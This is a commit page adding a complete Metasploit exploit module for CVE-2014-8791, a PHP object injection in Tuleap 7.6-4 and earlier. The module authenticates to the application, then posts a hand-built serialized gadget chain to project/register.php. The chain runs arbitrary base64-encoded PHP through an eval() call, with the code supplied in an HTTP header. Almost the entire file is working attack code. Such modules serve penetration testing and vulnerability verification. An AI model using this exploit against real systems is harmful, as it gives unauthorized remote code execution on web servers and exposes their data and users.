Skip to content

Commit 700ccc7

Browse files
committed
Create tuleap_unserialize_exec.rb
1 parent 65b9aa1 commit 700ccc7

File tree

1 file changed

+101
-0
lines changed

1 file changed

+101
-0
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Tuleap unserialize() PHP Code Execution',
16+
'Description' => %q{
17+
This module exploits a PHP object injection vulnerability in Tuelap <= 7.6-4 which could be
18+
abused to allow authenticated users to execute arbitrary code with the permissions of the
19+
web server. The dangerous unserialize() call exists in the 'src/www/project/register.php'
20+
file. The exploit abuses the destructor method from the Jabbex class in order to reach a
21+
call_user_func_array() call in the Jabbex class and call the fetchPostActions() method from
22+
the Transition_PostAction_FieldFactory class to execute PHP code through an eval() call.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => 'EgiX',
26+
'References' =>
27+
[
28+
['CVE', '2014-8791'],
29+
['OSVDB', '115128'],
30+
['URL', 'http://karmainsecurity.com/KIS-2014-13'],
31+
['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
32+
],
33+
'Platform' => 'php',
34+
'Arch' => ARCH_PHP,
35+
'Targets' => [['Generic (PHP Payload)', {}]],
36+
'DisclosureDate' => 'Nov 27 2014',
37+
'DefaultTarget' => 0))
38+
39+
register_options(
40+
[
41+
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
42+
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
43+
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
44+
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
45+
Opt::RPORT(443)
46+
], self.class)
47+
end
48+
49+
def check
50+
flag = rand_text_alpha(rand(10)+20)
51+
res = exec_php("print #{flag};")
52+
53+
if res and res.body and res.body.to_s =~ /#{flag}/
54+
return Exploit::CheckCode::Vulnerable
55+
end
56+
return Exploit::CheckCode::Safe
57+
end
58+
59+
def do_login()
60+
print_status("#{peer} - Logging in...")
61+
62+
username = datastore['USERNAME']
63+
password = datastore['PASSWORD']
64+
65+
res = send_request_cgi({
66+
'method' => 'POST',
67+
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
68+
'vars_post' => {'form_loginname' => username, 'form_pw' => password}
69+
})
70+
71+
if res and res.code == 302
72+
print_status("#{peer} - Login successful with #{username}:#{password}")
73+
return res.get_cookies
74+
end
75+
76+
print_error("#{peer} - Login failed with #{username}:#{password}")
77+
fail_with(Failure::NoAccess, 'Login failed')
78+
end
79+
80+
def exec_php(php_code)
81+
session_cookies = do_login()
82+
83+
chain = 'O:6:"Jabbex":2:{S:15:"\00Jabbex\00handler";O:12:"EventHandler":1:{S:27:"\00EventHandler\00authenticated";b:1;}'
84+
chain << 'S:11:"\00Jabbex\00jab";O:6:"Jabber":3:{S:8:"_use_log";i:1;S:11:"_connection";O:5:"Chart":0:{}S:15:"_event_handlers";'
85+
chain << 'a:1:{S:9:"debug_log";a:2:{i:0;O:34:"Transition_PostAction_FieldFactory":1:{S:23:"\00*\00post_actions_classes";'
86+
chain << 'a:1:{i:0;S:52:"1;eval(base64_decode($_SERVER[HTTP_PAYLOAD]));die;//";}}i:1;S:16:"fetchPostActions";}}}}'
87+
88+
return send_request_cgi({
89+
'method' => 'POST',
90+
'uri' => normalize_uri(target_uri.path, 'project/register.php'),
91+
'cookie' => session_cookies,
92+
'vars_post' => {'data' => chain},
93+
'headers' => {'payload' => Rex::Text.encode_base64(php_code)}
94+
})
95+
end
96+
97+
def exploit
98+
print_status("#{peer} - Exploiting the PHP object injection...")
99+
exec_php(payload.encoded)
100+
end
101+
end

0 commit comments

Comments
 (0)